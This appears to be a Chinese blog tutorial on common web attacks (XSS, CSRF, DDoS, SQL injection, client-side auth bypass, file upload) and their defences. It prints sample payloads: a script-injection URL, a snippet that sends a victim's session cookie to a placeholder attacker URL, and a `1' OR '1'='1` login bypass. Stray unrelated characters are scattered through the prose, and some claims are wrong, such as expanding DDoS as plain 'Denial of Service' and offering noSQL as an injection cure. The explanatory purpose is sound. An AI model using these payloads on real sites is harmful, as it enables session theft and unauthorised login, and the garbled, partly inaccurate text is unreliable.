常見web攻擊與防御策略

1.XSS

說明:

XSS攻擊全稱 跨站腳本攻擊(Cross Site Scripting),是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS.

XSS簡(jiǎn)單分為反射型恋脚、存儲(chǔ)型(DOM型屬于反射型的一種),其本質(zhì)上是HTML注入,簡(jiǎn)單來說就是通過某種手段引誘受害者(用戶)信任該腳本(或網(wǎng)站),進(jìn)而可以使攻擊方的代碼在客戶端為所欲為.

常見的諸如各類釣魚網(wǎng)站,釣魚郵件,或是最簡(jiǎn)單的頁面腳本注入等皆為此類型.

舉個(gè)栗子:

  • 反射型:
    反射型XSS需要欺騙用戶去執(zhí)行(訪問或點(diǎn)擊)攻擊者構(gòu)造的腳本,從而觸發(fā)js事件.也就是說,這種攻擊手段是被動(dòng)執(zhí)行的.

舉個(gè)栗子:
假如構(gòu)造一個(gè)形如

http://demo/index.html?user=%3Cscript%3Ealert(233)%3C/script%3E

這樣的url,那么當(dāng)用戶訪問該url時(shí),script中的腳本就會(huì)被執(zhí)行,同時(shí)由于domain為受信任的網(wǎng)站,所以可以正常獲取到用戶的敏感信息.

這種注入方式由于特征明顯,可以被很多瀏覽器過濾掉.

  • 存儲(chǔ)型:
    存儲(chǔ)型XSS將攻擊代碼持久化存儲(chǔ)在數(shù)據(jù)庫\服務(wù)器中,使得每次該數(shù)據(jù)被load時(shí),該腳本都會(huì)被執(zhí)行.

舉個(gè)栗子:
假如用戶輸入未被驗(yàn)證,在數(shù)據(jù)庫中存儲(chǔ)了以下數(shù)據(jù):

<script>alert("xxx");<script>

那么每當(dāng)該數(shù)據(jù)被頁面讀取,該腳本就會(huì)被客戶端解析并加載一次.

當(dāng)然,注入方式多種多樣,可能是未經(jīng)過驗(yàn)證的腳本輸入(<script></script>),或者一張帶有執(zhí)行腳本的圖片文件(<img>).

防范:

防御XSS最棘手的地方就在于其切入點(diǎn)的多樣性,特別是在業(yè)務(wù)體量巨大的情況下,試圖篩選出所有XSS的注入點(diǎn)實(shí)在是費(fèi)時(shí)費(fèi)力.

一般而言,最基本的防范措施:

  • 1.輸入過濾;
    根據(jù)業(yè)務(wù)需求,適當(dāng)過濾掉' " , < > \ <! --等特殊字符,盡量保證錄入后端的數(shù)據(jù)可靠性;
  • 2.輸出過濾;
    同上,盡量保證輸出到頁面的數(shù)據(jù)可靠性;
  • 3.開啟瀏覽器自帶的XSS防護(hù);
    可以有效過濾很多低端釣魚鏈接;

防范XSS的核心在于記住一句話:
所有的輸入都是有害的盟榴。

2.CSRF

說明:

CSRF(Cross-site request forgery)跨站請(qǐng)求偽造,也被稱為“One Click Attack”或者Session Riding,通郴枵祝縮寫為CSRF或者XSRF,是一種對(duì)網(wǎng)站的惡意利用.盡管聽起來像跨站腳本XSS,但它與XSS非常不同,XSS利用站點(diǎn)內(nèi)的信任用戶,而CSRF則通過偽裝來自受信任用戶的請(qǐng)求來利用受信任的網(wǎng)站.與XSS攻擊相比,CSRF攻擊往往不大流行(因此對(duì)其進(jìn)行防范的資源也相當(dāng)稀少)和難以防范,所以被認(rèn)為比XSS更具危險(xiǎn)性.

CSRF的根本原因是服務(wù)器對(duì)用戶身份的過分信任或驗(yàn)證機(jī)制的不完善.

CSRF可以使用XSS作為payload,在用戶不知情的情況下攫取受害者(用戶)的真實(shí)信息(cookie等),從而使用該真實(shí)信息向服務(wù)器發(fā)起請(qǐng)求.

舉個(gè)栗子:
假如某站將session_id以cookie的方式記錄在客戶端中,并且每次提交都以該session_id作為用戶身份識(shí)別的依據(jù),那么在用戶已登錄的情況下,攻擊者只要通過上文介紹的XSS方式,誘騙或引導(dǎo)用戶執(zhí)行以下代碼就能獲取這個(gè)關(guān)鍵的session_id:

var sid = $.cookie('session_id'); // 獲取用戶信息
$.POST('/攻擊方url', sid);

當(dāng)攻擊者獲取session_id后,就可以在該身份有效期內(nèi)利用這個(gè)session_id偽造成該用戶從而進(jìn)行各種操作.當(dāng)服務(wù)器的驗(yàn)證方式不夠健全時(shí),這種操作方式可以是致命的.

防范:

由于CSRF在客戶端難以被預(yù)測(cè),所以防御手段主要集中在服務(wù)端.

  • 1.驗(yàn)證HTTP Referer字段:
    該字段記錄了本次請(qǐng)求的來源,通過比對(duì)驗(yàn)證該字段值可以拒絕來自白名單外的訪問請(qǐng)求.不過需要注意的是,來自某些來源的訪問并不帶有Referer字段(如桌面超鏈接,word文檔超鏈接等),并且Referer字段是可以被偽造的.
  • 2.使用獨(dú)特的加密規(guī)則,在每次請(qǐng)求中攜帶并驗(yàn)證一個(gè)token的正確性:
    這是目前最實(shí)用且易用的解決方案.需要注意的是,該token的加密及驗(yàn)證方式需要足夠的安全性,避免驗(yàn)證規(guī)則被暴力解析,并且在某些業(yè)務(wù)中,該方式并不足夠靈活.
  • 3.使用定制HTTP報(bào)頭:
    定制一個(gè)HTTP的報(bào)頭并置于每次請(qǐng)求中,服務(wù)端收到請(qǐng)求后首先驗(yàn)證報(bào)頭的正確性.不確定報(bào)頭能否被跨站偽造,所以該方式本人持懷疑態(tài)度.
  • 4.增加額外的驗(yàn)證步驟:
    在敏感操作前增加如驗(yàn)證碼等操作,這樣會(huì)增加額外的操作,需要在用戶體驗(yàn)和安全性之間做出權(quán)衡.
  • 5.對(duì)于一些安全等級(jí)較高或來源不可控的訪問業(yè)務(wù)(如支付,三方登陸等),現(xiàn)在有個(gè)比較流行的授權(quán)方案:
    OAuth協(xié)議
    該協(xié)議目前已是2.0版本,泛用性較高,并且各平臺(tái)將該協(xié)議演化出了不同版本.這里就不再贅述.

3.DDoS

說明:

DDoS是Denial of Service的簡(jiǎn)稱,即拒絕服務(wù)盾鳞,造成DDoS的攻擊行為被稱為DDoS攻擊,其目的是使計(jì)算機(jī)或網(wǎng)絡(luò)無法提供正常的服務(wù)杆兵。最常見的DDoS攻擊有計(jì)算機(jī)網(wǎng)絡(luò)帶寬攻擊和連通性攻擊雁仲。

DDoS攻擊是指故意的攻擊網(wǎng)絡(luò)協(xié)議實(shí)現(xiàn)的缺陷或直接通過野蠻手段殘忍地耗盡被攻擊對(duì)象的資源,目的是讓目標(biāo)計(jì)算機(jī)或網(wǎng)絡(luò)無法提供正常的服務(wù)或資源訪問琐脏,使目標(biāo)系統(tǒng)服務(wù)系統(tǒng)停止響應(yīng)甚至崩潰攒砖,而在此攻擊中并不包括侵入目標(biāo)服務(wù)器或目標(biāo)網(wǎng)絡(luò)設(shè)備。這些服務(wù)資源包括網(wǎng)絡(luò)帶寬日裙,文件系統(tǒng)空間容量吹艇,開放的進(jìn)程或者允許的連接。這種攻擊會(huì)導(dǎo)致資源的匱乏昂拂,無論計(jì)算機(jī)的處理速度多快受神、內(nèi)存容量多大、網(wǎng)絡(luò)帶寬的速度多快都無法避免這種攻擊帶來的后果格侯。

最直接的例子就是前些年春運(yùn)期間的12306,當(dāng)訪問用戶過多時(shí)服務(wù)器處理不過來,只能宕機(jī).

這種攻擊方式的危害不僅在于會(huì)讓過載的服務(wù)器宕機(jī),更會(huì)由于異常的流量涌入導(dǎo)致服務(wù)器ip被運(yùn)營商屏蔽,導(dǎo)致一段時(shí)間內(nèi)該ip下的所有服務(wù)器都無法使用.

防范:

這種方式是針對(duì)服務(wù)器本體的,一些云服務(wù)提供商推出了一些容災(zāi)措施,號(hào)稱可以扛住XXGB的攻擊,實(shí)際上也只是分布式容災(zāi)而已.如果有人下血本使用DDoS來攻擊你的服務(wù)器,基本上是沒有什么辦法的(攤手).

4.SQL注入

說明:

所謂SQL注入鼻听,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請(qǐng)求的查詢字符串财著,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來說撑碴,它是利用現(xiàn)有應(yīng)用程序撑教,將(惡意的)SQL命令注入到后臺(tái)數(shù)據(jù)庫引擎執(zhí)行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個(gè)存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫醉拓,而不是按照設(shè)計(jì)者意圖去執(zhí)行SQL語句伟姐。

不得不說這種方式實(shí)在很low,但是近些年因此翻車的各大網(wǎng)站也是比比皆是.
曾經(jīng)有人這樣評(píng)價(jià):這種攻擊方式就跟把你家大門踹開進(jìn)去偷東西一樣low.

不多做評(píng)價(jià)了,隨便搜了個(gè)栗子:

某個(gè)網(wǎng)站的登錄驗(yàn)證的SQL查詢代碼為:

strSQL = "SELECT * FROM users WHERE (name
= '" +
userName + "') and (pw
= '"+
passWord +"');"

惡意填入

userName = "1' OR '1'='1"; 與passWord = "1' OR '1'='1";

將導(dǎo)致原本的SQL字符串被填為

strSQL = "SELECT * FROM users WHERE (name
= '1' OR '1'='1') and (pw = '1' OR '1'='1');"

也就是實(shí)際上運(yùn)行的SQL命令會(huì)變成下面這樣的

strSQL = "SELECT * FROM users;"

因此達(dá)到無賬號(hào)密碼,亦可登錄網(wǎng)站亿卤。所以SQL注入攻擊被俗稱為黑客的填空游戲愤兵。

防范:

SQL注入的本質(zhì)在于它是一條語言而不是一個(gè)特定格式的API,它只能作為一條語句被整體執(zhí)行.也就是說,輸入的內(nèi)容可以直接進(jìn)入SQL,一個(gè)元素就可以變成一條語句,那么SQL注入就無法防止.
所以,杜絕SQL語句的動(dòng)態(tài)拼裝可以解決絕大多數(shù)的問題.

  • 1.使用參數(shù)化查詢;
  • 2.使用詞法分析;
  • 3.使用noSQL;

5.停用js

說明:

假如由于某些原因(多半由于技術(shù)過菜),授權(quán)驗(yàn)證的操作都在前端(大多是js)完成,那么直接禁用掉js就可以繞開這部分的驗(yàn)證步驟...

如果上一種攻擊方式是踹大門偷東西,那么這種方式差不多就是點(diǎn)了一把火把房子燒了然后進(jìn)去拿東西...
我一度覺得這種攻擊方式甚至不能被稱為攻擊,也許能算的上bug的一種.

隨手寫個(gè)栗子:

var auth = function () {
    if (!user) {
        alert(' authorize denied!! ');
       // do something rejection
    }
}

可見當(dāng)userfalse時(shí),該函數(shù)會(huì)返回執(zhí)行一系列拒絕操作.但是當(dāng)js被禁用后,顯然拒絕操作不會(huì)被執(zhí)行.

防范:

低級(jí)問題,無需多言.

6.文件上傳

說明:

文件上傳攻擊是指攻擊者利用WEB應(yīng)用對(duì)上傳文件過濾不嚴(yán),導(dǎo)致可以上傳應(yīng)用程序定義類型范圍之外的文件到Web服務(wù)器.比如可以上傳一個(gè)網(wǎng)頁木馬,如果存放上傳文件的目錄剛好有執(zhí)行腳本的權(quán)限,那么攻擊者就可以直接得到一個(gè)WebShell.

由于服務(wù)器端沒有對(duì)用戶上傳的文件進(jìn)行正確的處理,導(dǎo)致攻擊者可以向某個(gè)可通過Web訪問的目錄上傳惡意文件,并且該文件可以被Web服務(wù)器解析執(zhí)行.

攻擊者要想成功實(shí)施文件上傳攻擊,必須要滿足以下三個(gè)條件:

  • 1.可以上傳任意腳本文件,且上傳的文件能夠被Web服務(wù)器解析執(zhí)行,具體來說就是存放上傳文件的目錄要有執(zhí)行腳本的權(quán)限.
  • 2.用戶能夠通過Web訪問這個(gè)文件,如果文件上傳后,不能通過Web訪問,那么也不能成功實(shí)施攻擊.
  • 3.要知道文件上傳到服務(wù)器后的存放路徑和文件名稱,因?yàn)樵S多Web應(yīng)用都會(huì)修改上傳文件的文件名稱,那么這時(shí)就需要結(jié)合其他漏洞去獲取到這些信息,如果不知道上傳文件的存放路徑和文件名稱,即使你上傳了也無法訪問.

防范:

這種攻擊方式也是很基礎(chǔ)的,但是其危害性不容小覷.由于其局限性較強(qiáng),所以可以針對(duì)其發(fā)動(dòng)條件逐條排查:

  • 1.檢查上傳文件的格式是否符合要求:
    前端的格式驗(yàn)證可能被某些工具繞過,所以最可靠的方式是后端以白名單的形式進(jìn)行驗(yàn)證.
  • 2.檢查文件名和Http content-type報(bào)頭:
    強(qiáng)化上一條的檢查內(nèi)容,檢查文件名中的%00等截?cái)喾?阻止可能混淆在文件名中的可能性.檢查請(qǐng)求報(bào)頭和文件大小,對(duì)異常情況做出反應(yīng).
  • 3.增加文件的訪問權(quán)限:
    針對(duì)不同的業(yè)務(wù)需求,適當(dāng)提升部分文件的請(qǐng)求權(quán)限,使得該文件無法被普通用戶訪問或執(zhí)行.
  • 4.使用隨機(jī)訪問路徑:
    借鑒分布式的設(shè)計(jì)理念,在文件訪問路徑中混入隨機(jī)參數(shù),避免文件被簡(jiǎn)單的追蹤到.
  • 5.定期篩查文件,避免漏網(wǎng)之魚.
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市排吴,隨后出現(xiàn)的幾起案子秆乳,更是在濱河造成了極大的恐慌,老刑警劉巖钻哩,帶你破解...
    沈念sama閱讀 216,372評(píng)論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件矫夷,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡憋槐,警方通過查閱死者的電腦和手機(jī)双藕,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來阳仔,“玉大人忧陪,你說我怎么就攤上這事〗叮” “怎么了嘶摊?”我有些...
    開封第一講書人閱讀 162,415評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長评矩。 經(jīng)常有香客問我叶堆,道長,這世上最難降的妖魔是什么斥杜? 我笑而不...
    開封第一講書人閱讀 58,157評(píng)論 1 292
  • 正文 為了忘掉前任虱颗,我火速辦了婚禮,結(jié)果婚禮上蔗喂,老公的妹妹穿的比我還像新娘忘渔。我一直安慰自己,他們只是感情好缰儿,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評(píng)論 6 388
  • 文/花漫 我一把揭開白布畦粮。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪宣赔。 梳的紋絲不亂的頭發(fā)上预麸,一...
    開封第一講書人閱讀 51,125評(píng)論 1 297
  • 那天,我揣著相機(jī)與錄音儒将,去河邊找鬼师崎。 笑死,一個(gè)胖子當(dāng)著我的面吹牛椅棺,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播齐蔽,決...
    沈念sama閱讀 40,028評(píng)論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼两疚,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了含滴?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,887評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤谈况,失蹤者是張志新(化名)和其女友劉穎勺美,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體碑韵,經(jīng)...
    沈念sama閱讀 45,310評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡赡茸,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評(píng)論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了祝闻。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片占卧。...
    茶點(diǎn)故事閱讀 39,690評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖联喘,靈堂內(nèi)的尸體忽然破棺而出华蜒,到底是詐尸還是另有隱情,我是刑警寧澤豁遭,帶...
    沈念sama閱讀 35,411評(píng)論 5 343
  • 正文 年R本政府宣布叭喜,位于F島的核電站,受9級(jí)特大地震影響蓖谢,放射性物質(zhì)發(fā)生泄漏捂蕴。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評(píng)論 3 325
  • 文/蒙蒙 一闪幽、第九天 我趴在偏房一處隱蔽的房頂上張望启绰。 院中可真熱鬧,春花似錦沟使、人聲如沸委可。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽着倾。三九已至拾酝,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間卡者,已是汗流浹背蒿囤。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評(píng)論 1 268
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留崇决,地道東北人材诽。 一個(gè)月前我還...
    沈念sama閱讀 47,693評(píng)論 2 368
  • 正文 我出身青樓,卻偏偏與公主長得像恒傻,于是被迫代替她去往敵國和親脸侥。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容